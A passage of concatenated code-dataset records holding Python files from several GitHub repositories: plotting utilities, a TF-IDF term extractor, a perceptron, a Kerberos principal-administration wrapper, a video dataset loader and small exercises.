colb1 = fig.colorbar(axim1, pad=0.01, fraction=0.1, shrink=1.00, aspect=20)\n if amp_range is not None: axim1.set_clim(amp_range[0], amp_range[1])\n plt.title('Image', color='b', fontsize=20)\n\n ax2 = plt.subplot2grid((10,10), (0,0), rowspan=10, colspan=4)\n ax2.hist(arr.flatten(), bins=100, range=amp_range)\n plt.title('Spectrum', color='r',fontsize=20)\n plt.xlabel('Bins')\n plt.ylabel('Stat') #u'\\u03C6'\n #plt.ion()\n\n\ndef plotGraph(x,y, figsize=(5,10), window=(0.15, 0.10, 0.78, 0.86), pfmt='b-', lw=1):\n fig = plt.figure(figsize=figsize, dpi=80, facecolor='w', edgecolor='w', frameon=True)\n ax = fig.add_axes(window)\n ax.plot(x, y, pfmt, linewidth=lw)\n return fig, ax\n\n\ndef drawCircle(axes, xy0, radius, linewidth=1, color='w', fill=False):\n circ = patches.Circle(xy0, radius=radius, linewidth=linewidth, color=color, fill=fill)\n axes.add_artist(circ)\n\n\ndef drawCenter(axes, xy0, s=10, linewidth=1, color='w'):\n xc, yc = xy0\n d = 0.15*s\n arrx = (xc+s, xc-s, xc-d, xc, xc)\n arry = (yc, yc, yc-d, yc-s, yc+s)\n line = lines.Line2D(arrx, arry, linewidth=linewidth, color=color)\n axes.add_artist(line)\n\n\ndef drawLine(axes, xarr, yarr, s=10, linewidth=1, color='w'):\n line = lines.Line2D(xarr, yarr, linewidth=linewidth, color=color)\n axes.add_artist(line)\n\n\ndef drawRectangle(axes, xy, width, height, linewidth=1, color='w'):\n rect = patches.Rectangle(xy, width, height, linewidth=linewidth, color=color)\n axes.add_artist(rect)\n\n\ndef draw_fig(fig):\n fig.canvas.draw()\n\n\ndef save(fname='img.png', do_save=True, pbits=0o377):\n if not do_save: return\n if pbits & 1: print('Save plot in file: %s' % fname)\n plt.savefig(fname)\n\n\ndef savefig(fname='img.png', do_print=True):\n save(fname, do_save=True, pbits=0o377 if do_print else 0)\n\n\ndef save_fig(fig, fname='img.png', do_save=True, pbits=0o377):\n if not do_save: return\n if pbits & 1: print('Save plot in file: %s' % fname)\n fig.savefig(fname)\n\n\ndef move(x0=200,y0=100):\n #plt.get_current_fig_manager().window.move(x0, y0)\n move_fig(plt.gcf(), x0, y0)\n\n\ndef move_fig(fig, x0=200, y0=100):\n #print('matplotlib.get_backend()', matplotlib.get_backend())\n backend = matplotlib.get_backend()\n if backend == 'TkAgg': # this is our case\n fig.canvas.manager.window.wm_geometry(\"+%d+%d\" % (x0, y0))\n elif backend == 'WXAgg':\n fig.canvas.manager.window.SetPosition((x0, y0))\n else:\n # This works for QT and GTK\n # You can also use window.setGeometry\n fig.canvas.manager.window.move(x0, y0)\n\n\ndef add_title_labels_to_axes(axes, title=None, xlabel=None, ylabel=None, fslab=14, fstit=20, color='k', **kwa):\n if title is not None: axes.set_title(title, color=color, fontsize=fstit, **kwa)\n if xlabel is not None: axes.set_xlabel(xlabel, fontsize=fslab, **kwa)\n if ylabel is not None: axes.set_ylabel(ylabel, fontsize=fslab, **kwa)\n\n\ndef show(mode=None):\n if mode is None: plt.ioff() # hold contraol at show() (connect to keyboard for controllable re-drawing)\n else : plt.ion() # do not hold control\n plt.pause(0.0001) # hack to make it work... othervise show() does not work...\n plt.show()\n\n\ndef main():\n\n arr = getRandomImage()\n if len(sys.argv)==1:\n print('Use command > python %s ' % sys.argv[0])\n sys.exit ('Add in command line...')\n\n elif sys.argv[1]=='1': plotImage(arr, amp_range=(100,300))\n elif sys.argv[1]=='2': plotImageAndSpectrum(arr, amp_range=(100,300))\n elif sys.argv[1]=='3': plotHistogram(arr, amp_range=(100,300), figsize=(10,5))\n elif sys.argv[1]=='4': plotImage(arr, amp_range=(100,300), figsize=(10,10))\n elif sys.argv[1]=='5': plotImageLarge(arr, amp_range=(100,300), figsize=(10,10))\n elif sys.argv[1]=='6': plotImageLarge(getArrangedImage(shape=(40,60)), figsize=(10,10))\n else:\n print('Non-expected arguments: sys.argv=', sys.argv)\n sys.exit ('Check input parameters')\n\n move(500,10)\n show()\n\n\nif __name__ == \"__main__\":\n\n main()\n sys.exit ( 'End of test.' )\n\n# EOF\n","repo_name":"lcls-psana/pyimgalgos","sub_path":"src/GlobalGraphics.py","file_name":"GlobalGraphics.py","file_ext":"py","file_size_in_byte":19747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30747102575","text":"\"\"\"\nVisualise ReTap Detected Taps\n\nuses class resulting main_featExtractionClass(), which\ncontain one class with attribute fts, per 10-sec trace\n\"\"\"\n\n# Import public packages and functions\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom os.path import join, exists\nfrom os import makedirs\n\n# Import own fucntions\nfrom retap_utils.utils_dataManagement import get_local_proj_dir, load_class_pickle\n\n# only when alterantives methods should be plotted:\n# from tap_load_data.tapping_impact_finder import find_impacts\n# from tap_extract_fts.tapping_featureset import signalvectormagn\n# from tap_load_data.tapping_preprocess import find_main_axis\n\ndef plot_detected_taps(\n ftClass, fontsize=16,\n):\n\n savepath = join(\n get_local_proj_dir(),\n 'figures',\n 'tap_find_check', 'submission'\n )\n if not exists(savepath): makedirs(savepath)\n\n for trace in ftClass.incl_traces:\n\n testrun = getattr(ftClass, trace)\n\n accsig = testrun.acc_sig\n taps = [t[0] for t in testrun.fts.tap_lists]\n\n x_samples = np.arange(accsig.shape[1])\n\n plt.plot(accsig.T, alpha=.3, label=['X', 'Y', 'Z'])\n\n plt.scatter(taps, [3] * len(taps), label='tap-starts')\n\n\n ## plotting of alterantive tap-detection methods\n # svm = signalvectormagn(accsig)\n # mainax = find_main_axis(accsig, method='minmax')\n # impacts = find_impacts(accsig[mainax], 250)\n # svmimpacts = find_impacts(svm, 250)\n # plt.plot(svm, alpha=.4)\n # plt.scatter(impacts, [4] * len(impacts))\n # plt.scatter(svmimpacts, [3.5] * len(svmimpacts))\n \n\n plt.ylabel('Acceleration (g)', fontsize=16,)\n plt.xlabel('Time (sec)', fontsize=16,)\n\n xtick_res_sec = 2 # resolution of xtick labels\n plt.xticks(\n x_samples[::250 * xtick_res_sec],\n labels=x_samples[::250 * xtick_res_sec] / 250) # divide by fs for second-convertion\n\n # plt.legend(\n # loc='lower center',ncol=4)\n\n plt.title(f'{trace} ({testrun.tap_score})')\n\n plt.savefig(\n join(savepath, f'{trace}_tap_check.pdf'),\n format='pdf',\n dpi=450, facecolor='w',\n )\n plt.close()\n\n\n### RUN FROM COMMAND LINE\n\nif __name__ == '__main__':\n\n import sys\n\n # import original classes to load feature class-pickle\n from tap_extract_fts.main_featExtractionClass import FeatureSet, singleTrace\n\n \"\"\"\n function is called in terminal (from repo folder):\n\n python -m tap_plotting.retap_check_taps \"ftClass_ALL.P\"\n \n - -m needs to be added bcs the file is called within a method/folder from current work dir\n - second argument is filename of pickle saved class\n - if third argument is given, this is the ft-list to include\n (if not given it is extracted by default in sort_fts_on_tapScore()) \n \"\"\"\n assert len(sys.argv) == 2, ('Define at least second variable with pickle-filename')\n\n deriv_path = join(\n get_local_proj_dir(),\n 'data', 'derivatives')\n\n ftClass_file = sys.argv[1]\n ftClass = load_class_pickle(\n join(deriv_path, ftClass_file))\n\n plot_detected_taps(ftClass)","repo_name":"jgvhabets/updrsTapping_repo","sub_path":"tap_plotting/retap_check_taps.py","file_name":"retap_check_taps.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42290239735","text":"import spacy\nfrom spacy.lemmatizer import Lemmatizer\nfrom spacy.lang.en import LEMMA_INDEX, LEMMA_EXC, LEMMA_RULES\nlemmatizer = Lemmatizer(LEMMA_INDEX, LEMMA_EXC, LEMMA_RULES)\nimport math\n##\ndef get_doc(sentdf, lang):\n \"\"\"\n This function returns the doc statistics with term count.\n \n sentdf: a Pandas Dataframe with a sentence per row, with the sentence in the second column.\n lang: the language of the sentence, if supported by Spacy, the underlying tech. Else, english will be used.\n \"\"\"\n doc_info = []\n for i, row in sentdf.iterrows():\n text = row[1]\n count = count_words(text, lang)\n values = {'doc_id' : i, 'doc_length':count}\n doc_info.append(values)\n return doc_info\n##\ndef count_words(sent, lang):\n \"\"\"\n Returns the total number of words in a sentence\n \n sent: a sentence represented by a String\n lang: the language of the sentence, if supported by Spacy, the underlying tech. Else, english will be used.\n \"\"\"\n nlp = spacy.load(lang)\n return len(nlp(sent))\n\n##\n\ndef create_freq_dict(sentdf, lang, lemmatize=True):\n \"\"\"\n Returns the frequency dictionary for all terms in the sentence. This function ignores punctuations, stopwords and non alphanumeric terms. It can also lemmatize every word by default, if the flag is not off.\n \n sentdf: a Pandas Dataframe with a sentence per row, with the sentence in the second column. \n lang: the language of the sentence, if supported by Spacy, the underlying tech. Else, english will be used.\n lemmatize: tells if every word is to be lemmatized - this can significantly reduce the final wordlist size, but increase processing time. Its on by default.\n \"\"\"\n nlp = spacy.load(lang)\n freqDict_list = []\n for i, row in sentdf.iterrows():\n text = row[1]\n freq_dict = {}\n words = nlp(text)\n words = [token for token in words if not (token.is_punct or not token.is_alpha or token.is_stop)]\n for token in words:\n if lemmatize:\n word = lemmatizer(token.orth_, token.pos_)[0]\n else:\n word = token.orth_\n if word in freq_dict:\n freq_dict[word]+=1\n else:\n freq_dict[word]=1\n temp = {'doc_id' : i, 'freq_dict' : freq_dict}\n freqDict_list.append(temp)\n return freqDict_list\n##\n\ndef _createFreqDictString(sentence, lang, lemmatize = True):\n nlp = spacy.load(lang)\n freq_dict ={}\n words = nlp(text)\n words = [token for token in words if not (token.is_punct or not token.is_alpha)]\n for token in words:\n if lemmatize:\n word = lemmatizer(token.orth_, token.pos_)[0]\n else:\n word = token.orth_\n if word in freq_dict: \n freq_dict[word]+=1\n else:\n freq_dict[word]=1\n return {'freq_dict':freq_dict}\n\ndef computeTF(doc_info, freqDict_list):\n \"\"\"\n A function to compute the Term Frequency for every term in a document, given that a frequencyDictionary list is passed, as well as the document own info.\n Retuns a dictionary with the doc_id, the TF_score and a key, for each word.\n \n doc_info: A Dictionary item with the document ID and the Document Length.\n freqDict_list: a list of Frequency Dictionaries with the words and its frequencies.\n \"\"\"\n \n TF_scores = []\n for tempDict in freqDict_list:\n docid = tempDict['doc_id']\n for k in tempDict['freq_dict']:\n temp = {'doc_id' : docid, 'TF_score' : tempDict['freq_dict'][k]/doc_info[docid-1]['doc_length'], 'key' : k}\n TF_scores.append(temp)\n return TF_scores\n##\n\ndef computeIDF(doc_info, freqDict_list):\n \"\"\"\n Computes the Inverse Document Frequency for every term and document in the corpus.\n Retuns a dictionary with the doc_id, the IDF_score and a key, for each word/document.\n \n doc_info: A Dictionary item with the document ID and the Document Length.\n freqDict_list: a list of Frequency Dictionaries with the words and its frequencies.\n \"\"\"\n IDF_scores=[]\n counter = 0\n for dic in freqDict_list:\n counter +=1\n for k in dic['freq_dict'].keys():\n count = sum([k in tempDict['freq_dict'] for tempDict in freqDict_list])\n temp = {'doc_id' : counter, 'IDF_score':math.log(len(doc_info)/count), 'key': k}\n \n IDF_scores.append(temp)\n return IDF_scores\n##\ndef computeTFIDF(TF_scores, IDF_scores):\n \"\"\"\n Computes the Term Frequency times the Inverse Document Frequency for each Term in the corpus.\n Returns a dict with the Doc_id, the TFIDF_score and key, for each term/document.\n\n TF_scores: a dictionary for every term frequency.\n IDF_scores: a dictionary for every term inverse document frequency.\n \"\"\"\n TFIDF_scores = []\n for j in IDF_scores:\n for i in TF_scores:\n if j['key']==i['key'] and j['doc_id']==i['doc_id']:\n temp = {'doc_id' : j['doc_id'],\n 'TFIDF_score' : j['IDF_score']*i['TF_score'],\n 'key': i['key']}\n else:\n continue\n TFIDF_scores.append(temp)\n return TFIDF_scores\n##\ndef getTopTerms(corpus, numterms, lang, lemmatize=True):\n \"\"\"\n Returns a list of the n top terms found in the corpus, extracted using a TF-IDF methodology and removing puncts and stopwords.\n\n corpus: a pandas dataframe with one sentence per line, at the position 1.\n numterms: the number of top terms to retrieve\n lang: the language of the sentence, if supported by Spacy, the underlying tech. Else, english will be used.\n lemmatize: tells if every word is to be lemmatized - this can significantly reduce the final wordlist size, but increase processing time. Its on by default.\n \n \"\"\"\n doc_info = get_doc(corpus, lang)\n freqDict_list = create_freq_dict(corpus, lang, lemmatize)\n TF_scores = computeTF(doc_info, freqDict_list)\n IDF_scores = computeIDF(doc_info, freqDict_list)\n TFIDF_scores = computeTFIDF(TF_scores, IDF_scores)\n sortedList = sorted(TFIDF_scores, key=lambda k: k['TFIDF_score'], reverse=True)\n if numterms < len(sortedList):\n s = slice(0, numterms)\n else:\n s = slice(0, len(sortedList))\n \n return [entry['key'] for entry in sortedList[s]]\n\n","repo_name":"Sirsirious/textO","sub_path":"src/CorpusProcessingTools/terms/TermExtractor.py","file_name":"TermExtractor.py","file_ext":"py","file_size_in_byte":6347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5174464304","text":"# Initial weights\nweights = [0.0, 0.0, 0.0]\n\n# Test data\nmat = []\n\n# Max number of training iterations\nepochs = 30\n\n# Step function\ndef activate(net):\n\n return 1 if net >= 0 else 0\n\n# Perceptron main function\ndef compute(x1, x2):\n\n # Sum inputs to weights and bias\n net = (x1 * weights[0]) + (x2 * weights[1]) + ((-1) * weights[2])\n # Execute the activation function on the result\n return activate(net)\n\n# Optimize weights in case of errors\ndef optimizeWeights(i, output):\n\n weights[0] += (mat[i][2] - output) * mat[i][0]\n weights[1] += (mat[i][2] - output) * mat[i][1]\n weights[2] += (mat[i][2] - output) * -1 # bias\n\n# Train your network\ndef training():\n\n count = 0\n\n while count < epochs:\n for i in range(len(mat)):\n output = compute(mat[i][0], mat[i][1])\n # Optimize weights if the output is not equal to the expected value\n if output != mat[i][2]:\n optimizeWeights(i, output)\n\n count += 1\n\n# Predict according to a sample\ndef predict(sample):\n\n sample[2] = compute(sample[0], sample[1])\n\ndef main():\n\n op = input('Choose your operation [AND/OR]: ')\n\n global mat\n\n if op == 'AND':\n mat = [[0, 1, 0], [1, 0, 0], [0, 0, 0], [1, 1, 1]]\n elif op == 'OR':\n mat = [[0, 1, 1], [1, 0, 1], [0, 0, 0], [1, 1, 1]]\n else:\n return\n\n print('Weights before training:')\n for i in weights:\n print(i, end=',')\n print()\n\n training()\n\n print('Weights after training:')\n for i in weights:\n print(i, end=',')\n print()\n\n samples = [[0, 1, -1], [1, 0, -1], [0, 0, -1], [1, 1, -1]]\n\n for sample in samples:\n predict(sample)\n\n print('Result:')\n\n for sample in samples:\n for s in sample:\n print(s, end=',')\n print()\n\nmain()\n","repo_name":"cjlcarvalho/hands-on-ann","sub_path":"perceptron/perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"776018409","text":"import os\nimport pandas as pd\nimport arff\n\ndef prepare_data_single_dataset(data_path, dst_folder):\n \"\"\"\n This function takes the original dataset and splits it in multiple ones. More precisely, it creates a separated\n dataset for each plant. These datasets will be used to train1 the single target models related to each plant.\n Then, they will be merged to train the multitarget models\n :return:\n \"\"\"\n cols = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]\n if not os.path.isdir(os.path.join(dst_folder)):\n os.mkdir(os.path.join(dst_folder))\n current_id = \"\"\n #7, 10Medoids, 13, 16, 19, 22,\n x_positions = [25, 28, 31, 34, 37, 40, 7, 10, 13, 16, 19, 22] # List of indexes containing, in the row, the relevant data\n l_series = []\n for row in arff.load(data_path):\n row = list(row)\n id = row[0]\n if current_id != id and l_series:\n df = pd.DataFrame(l_series)\n df = df[cols]\n df.to_csv(dst_folder+\"/{}.csv\".format(current_id))\n current_id = id\n l_series = []\n l = []\n for i in x_positions:\n l.append(row[i])\n l.append(row[-1])\n l_series.append(l)\n","repo_name":"itsfrank98/PV_energy_forecasting","sub_path":"model/prepare_data/single_dataset.py","file_name":"single_dataset.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"34555970415","text":"import sys\nimport subprocess\nimport logging\n\nclass TicketUser:\n \"\"\" Class for manipulating principals \"\"\"\n \n def __init__(self,logfile,kadmin,errfile,svcprincfile,blklfile):\n self.logfile = logfile\n self.errfile = errfile\n self.logfile = logfile\n self.svcprincfile = svcprincfile\n self.blklfile = blklfile\n self.kadmin = kadmin\n\n def query_svcprinc_attrs(self,svcprinc):\n \"\"\" Query the princ,logging any errors \"\"\"\n \"\"\" Will return None on Success or an error \"\"\"\n try:\n self.svcprinc = svcprinc \n command = self.kadmin + \" -q \\\"getprinc \\\"\" + self.svcprinc\n proch = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,\\\n stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n output, error = proch.communicate()\n if error:\n kadmin_error=\"KADMIN_QUERY_ERROR\"\n logging.error(kadmin_error + str(error))\n return kadmin_error \n else:\n output = output.decode(\"utf-8\")\n output = self.rm_last_newline(output)\n msg=\"QUERY: \" + svcprinc + \" attributes are currently: \\n\" + output\n logging.info(msg)\n return None\n except Exception as e:\n logging.error(\"Princ Query Error:\",e)\n\n def rm_last_newline(self,string):\n \"\"\" Remove newline if it's the last character of a string \"\"\"\n if string[-1] == \"\\n\":\n return string[:-1]\n\n def mod_svcprinc_encs(self,user,action):\n \"\"\" Modify the princ or log an Error \"\"\"\n \"\"\" return OK, NOTOK, or sys.exit \"\"\"\n\n try:\n self.user = user\n self.action = action \n\n if action == \"strengthen\":\n cmd = f\"{self.kadmin} -q \\\"cpw -randkey -e aes256-cts-hmac-sha1-96:normal,\"\\\n f\"aes128-cts-hmac-sha1-96:normal,des3-cbc-sha1:normal,arcfour-hmac:normal\"\\\n f\" -keepold {self.user}\\\"\"\n elif action == \"restore\":\n cmd = f\"{self.kadmin} -q \\\"cpw -randkey -e aes128-cts-hmac-sha1-96:normal,\"\\\n f\"des3-cbc-sha1:normal,arcfour-hmac:normal,des-cbc-crc:normal\"\\\n f\" -keepold {self.user}\\\"\"\n\n proch = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,\\\n stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n output, error = proch.communicate()\n if error:\n kadmin_error=\"KADMIN_MOD_ERROR: \"\n logging.error(kadmin_error + str(error))\n else:\n output = output.decode(\"utf-8\")\n success = f\"Key for \\\"{self.user}\\\" randomized.\"\n if success in output:\n status=\"OK\"\n msg = f\"ACTION: {self.user} modified {status} - action: {self.action}\"\n logging.info(msg)\n return status\n else:\n status=\"NOTOK\"\n msg = f\"ACTION: {self.user} modified {status} - action: {self.action}\"\n logging.error(msg)\n return status\n except Exception as e:\n print(\"Modify Error:\",e)\n\n def query_user_fwd_flag(self,user):\n \"\"\" Query the princ or log an Error \"\"\"\n try:\n self.user = user\n command = self.kadmin + \" -q \\\"getprinc \\\"\" + self.user\n proch = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n output, error = proch.communicate()\n if error:\n logging.error(\"KADMIN_ERROR:\" + str(error))\n return \"KADMIN_ERROR\"\n else:\n output = output.decode(\"utf-8\")\n msg=\"QUERY: \" + user + \" allow_forwardable attribute is currently \"\n if \"DISALLOW_FORWARDABLE\" in output:\n state=\"disabled\"\n logging.info(msg + state)\n else:\n state=\"enabled\"\n logging.info(msg + state)\n except Exception as e:\n logging.error(\"Query Setup Error:\",e)\n\n def mod_forward_flag(self,state):\n \"\"\" Modify the princ or log an Error \"\"\"\n \"\"\" retun OK, NOTOK, or sys.exit \"\"\"\n try:\n\n if \"on\" in state:\n flag=\"+\"\n elif \"off\" in state:\n flag=\"-\"\n\n cmd = f\"{self.kadmin} -q \\\"modprinc {flag}allow_forwardable {self.user}\\\"\"\n proch = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n output, error = proch.communicate()\n if error:\n logging.error(\"KADMIN_ERROR:\" + str(error))\n else:\n output = output.decode(\"utf-8\")\n if \"Principal \\\"\" + self.user + \"\\\" modified\" in output:\n msg=\"ACTION: allow_forwardable flag turned \" + state + \" OK for \" + self.user\n logging.info(msg)\n return \"OK\"\n else:\n msg=\"ACTION: allow_forwardable flag NOT turned \" + state + \" OK for \" + self.user\n logging.error(msg)\n return \"NOTOK\"\n except Exception as e:\n print(\"Modify Error:\",e)\n\n def check_if_enabled(self,user):\n \"\"\" Trust, but Verify. \"\"\"\n \"\"\" What if the user was disabled/re-enabled recently? \"\"\"\n try:\n self.user = user\n command = self.kadmin + \" -q \\\"getprinc \\\"\" + self.user\n proch = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n output, error = proch.communicate()\n if error:\n logging.error(\"KADMIN_ERROR:\" + str(error))\n return \"KADMIN_ERROR\"\n else:\n output = output.decode(\"utf-8\")\n msg=\"PRE-EXEC-CHECK: \" + user + \" -allow_tix attribute is currently \"\n if \"DISALLOW_ALL_TIX\" in output:\n state=\"set\"\n status=\"OK\"\n logging.info(status + \": \" + msg + state)\n return status \n else:\n state=\"not set\"\n status=\"NOTOK\"\n logging.error(msg + state)\n return status \n except Exception as e:\n logging.error(\"Enabled Query Error:\",e)\n\n def OpenUserList(self):\n \"\"\" Open the Userlist and return it's members \"\"\"\n candidates = []\n try:\n with open(self.svcprincfile,'r') as fh:\n for user in fh:\n candidates.append(user.rstrip())\n return candidates\n except Exception as e:\n print(\"UserList file problem:\",e)\n sys.exit(1)\n\n def OpenBlacklist(self): \n \"\"\" Open the Blacklist and return it's members \"\"\"\n blmembers = {}\n try:\n with open(self.blklfile,'r') as fh:\n for user in fh:\n blmembers[user.rstrip()] = 1\n return blmembers\n except Exception as e:\n print(\"BlackList file problem:\",e)\n sys.exit(1)\n","repo_name":"subi3wr3x/SecDevOps","sub_path":"krb5modify/archive/ticket.py","file_name":"ticket.py","file_ext":"py","file_size_in_byte":7459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40376923343","text":"print(\"Average of Numbers - Taylor Griffin\"+\"\\nPlease Make Sure the Working Directory is Set Correctly and 'numbers.txt' is in the Same Folder as this Script!\")\r\ndef main():\r\n try:\r\n numbersFile = open(\"numbers.txt\", \"r\")\r\n total = 0\r\n numberOfLines = 0\r\n line = numbersFile.readline()\r\n while line != \"\":\r\n numberOfLines += 1\r\n total += int( line )\r\n line = numbersFile.readline()\r\n average = total / numberOfLines\r\n except IOError as error:\r\n print(\"An IOError has occured\")\r\n except ValueError as error:\r\n print(\"A ValueError has occured\")\r\n else:\r\n print(\"Average of 'numbers.txt' is \", average)\r\nmain()\r\n","repo_name":"Vandeerer/SDEV-140","sub_path":"GriffinTaylorM03_Ch6Ex9.py","file_name":"GriffinTaylorM03_Ch6Ex9.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74864969184","text":"import os\nfrom mindvision.dataset.meta import ParseDataset\nfrom mindvision.engine.class_factory import ClassFactory, ModuleType\nfrom mindvision.mindvideo.dataset.video_dataset import VideoDataset\n\n__all__ = [\"UbiFights\", \"ParseUbiFights\"]\n\n\n@ClassFactory.register(ModuleType.DATASET)\nclass UbiFights(VideoDataset):\n \"\"\"\n Args:\n path (string): Root directory of the Mnist dataset or inference image.\n split (str): The dataset split supports \"train\", \"test\" or \"infer\". Default: None.\n transform (callable, optional): A function transform that takes in a video. Default:None.\n target_transform (callable, optional): A function transform that takes in a label. Default: None.\n seq(int): The number of frames of captured video. Default: 16.\n seq_mode(str): The way of capture video frames,\"part\"), \"discrete\", or \"align\" fetch. Default: \"align\".\n align(boolean): The video contains multiple actions.Default: True.\n batch_size (int): Batch size of dataset. Default:32.\n repeat_num (int): The repeat num of dataset. Default:1.\n shuffle (bool, optional): Whether or not to perform shuffle on the dataset. Default:None.\n num_parallel_workers (int): Number of subprocess used to fetch the dataset in parallel.Default: 1.\n num_shards (int, optional): Number of shards that the dataset will be divided into. Default: None.\n shard_id (int, optional): The shard ID within num_shards. Default: None.\n download (bool) : Whether to download the dataset. Default: False.\n\n Examples:\n >>> from mindvision.mindvideo.dataset.ubi_fights import UbiFights\n >>> dataset = UbiFights(\"./data\", \"test\")\n >>> dataset = dataset.run()\n\n The ubi_fights structure of UBI-fights dataset looks like:\n\n .\n |-ubi_fights\n |-- annotation\n | |-- F_0_1_0_0_0.csv // annotation file\n | |-- F_100_1_2_0_0.csv // annotation file\n | |-- F_101_1_2_0_0.csv //annotation file\n | ...\n |-- videos\n | |-- fight\n | |-- F_0_1_0_0_0.mp4 // video file\n | |-- F_100_1_2_0_0.mp4 // video file\n | |-- normal\n | |-- N_0_0_0_1_0.mp4 // video file\n | |-- N_100_1_0_1_0.mp4 // video file\n | |-- test_videos.csv // split file\n | |-- train_videos.csv // split file\n ...\n \"\"\"\n\n def __init__(self,\n path,\n split=\"test\",\n transform=None,\n target_transform=None,\n seq=16,\n seq_mode=\"part\",\n align=True,\n batch_size=16,\n repeat_num=1,\n shuffle=None,\n num_parallel_workers=1,\n num_shards=None,\n shard_id=None,\n download=False\n ):\n load_data = ParseUbiFights(os.path.join(path, split)).parse_dataset\n super().__init__(path=path,\n split=split,\n load_data=load_data,\n transform=transform,\n target_transform=target_transform,\n seq=seq,\n seq_mode=seq_mode,\n align=align,\n batch_size=batch_size,\n repeat_num=repeat_num,\n shuffle=shuffle,\n num_parallel_workers=num_parallel_workers,\n num_shards=num_shards,\n shard_id=shard_id,\n download=download)\n\n @property\n def index2label(self):\n \"\"\"Get the mapping of indexes and labels.\"\"\"\n split = os.path.split(self.path)[-1]\n base_path = os.path.dirname(self.path)\n split_file = os.path.join(base_path, f\"{split}_videos.csv\")\n mapping = []\n with open(split_file, \"rb\")as f:\n rows = f.readlines()\n for row in rows:\n row = str(row)\n if row[0] == 'N':\n type_id = 0\n if row[0] == 'F':\n type_id = 1\n mapping.append(type_id)\n return mapping\n\n def download_dataset(self):\n \"\"\"Download the UBI-fights data if it doesn't exist already.\"\"\"\n raise ValueError(\"UBI-fights dataset download is not supported.\")\n\n\nclass ParseUbiFights(ParseDataset):\n \"\"\"\n Parse Ubi-fights dataset.\n \"\"\"\n\n def parse_dataset(self):\n \"\"\"Traverse the Ubi-Fights dataset file to get the path and label.\"\"\"\n parse_ubifights = ParseUbiFights(self.path)\n split = os.path.split(parse_ubifights.path)[-1]\n base_path = os.path.dirname(parse_ubifights.path)\n video_label, video_path = [], []\n split_file = os.path.join(base_path, f\"{split}_videos.csv\")\n with open(split_file, \"r\")as f:\n rows = f.readlines()\n file_dir = os.path.join(base_path, \"video\")\n for row in rows:\n row = row.strip()\n if row[0] == 'N':\n label_type = \"normal\"\n if row[0] == 'F':\n label_type = \"fight\"\n video_path.append(os.path.join(file_dir, label_type, row))\n annotation_path = os.path.join(base_path, \"annotation\", f\"{row}.csv\")\n with open(annotation_path, \"r\") as an:\n info = an.readlines()\n label = list(map(int, info))\n video_label.append(label)\n return video_path, video_label\n","repo_name":"ZJUT-ERCISS/zjut_mindvideo","sub_path":"mindvideo/data/ubi_fights.py","file_name":"ubi_fights.py","file_ext":"py","file_size_in_byte":5735,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"44131644268","text":"from torchsim.core.memory.tensor_creator import TensorCreator\nfrom torchsim.core.nodes.flock_networks.multi_layer_perceptron_flock import MultilayerPerceptronFlock\nfrom torchsim.core.nodes.flock_networks.neural_network_flock import NeuralNetworkFlockParams, NeuralNetworkFlockTypes, \\\n NeuralNetworkFlock\n\n\ndef create_networks(network_params: NeuralNetworkFlockParams,\n creator: TensorCreator,\n network_type: NeuralNetworkFlockTypes) -> NeuralNetworkFlock:\n \"\"\"Create a network of selected type\"\"\"\n\n if network_type == NeuralNetworkFlockTypes.MLP:\n return MultilayerPerceptronFlock(network_params, creator.device)\n else:\n raise ValueError(\"Unknown NeuralNetworkFlockType\")\n","repo_name":"GoodAI/torchsim","sub_path":"torchsim/core/nodes/flock_networks/network_factory.py","file_name":"network_factory.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"42147158488","text":"import random\nfrom time import sleep\nfrom operator import itemgetter\njogadores = dict()\njogadores['jogador1'] = random.randint(1, 6)\njogadores['jogador2'] = random.randint(1, 6)\njogadores['jogador3'] = random.randint(1, 6)\njogadores['jogador4'] = random.randint(1, 6)\nprint('Valores sorteados:')\nfor k, v in jogadores.items():\n print(f'{k} tirou {v} no dado.')\n sleep(0.5)\ncont = 0\n\nprint('Ranking dos jogadores;')\n'''for i in sorted(jogadores, key = jogadores.get, reverse=True):\n cont += 1\n print(f'{cont}° lugar: {i} com {jogadores[i]}')\n sleep(0.5)'''\nranking = list()\nranking = sorted(jogadores.items(), key=itemgetter(1), reverse=True)\nfor i, v in enumerate(ranking):\n print(f'{i+1}° lugar: {v[0]} com {v[1]}')\n sleep(1)\nprint(ranking)\n","repo_name":"lcsasilva/exercicios-python3","sub_path":"ex0091.py","file_name":"ex0091.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40846209924","text":"import numpy as np\r\n\r\n# K-means Clustering class\r\nclass KMeansClustering:\r\n def __init__(self, k):\r\n self.k = k\r\n\r\n def calculate_distance(self, point1, point2):\r\n return 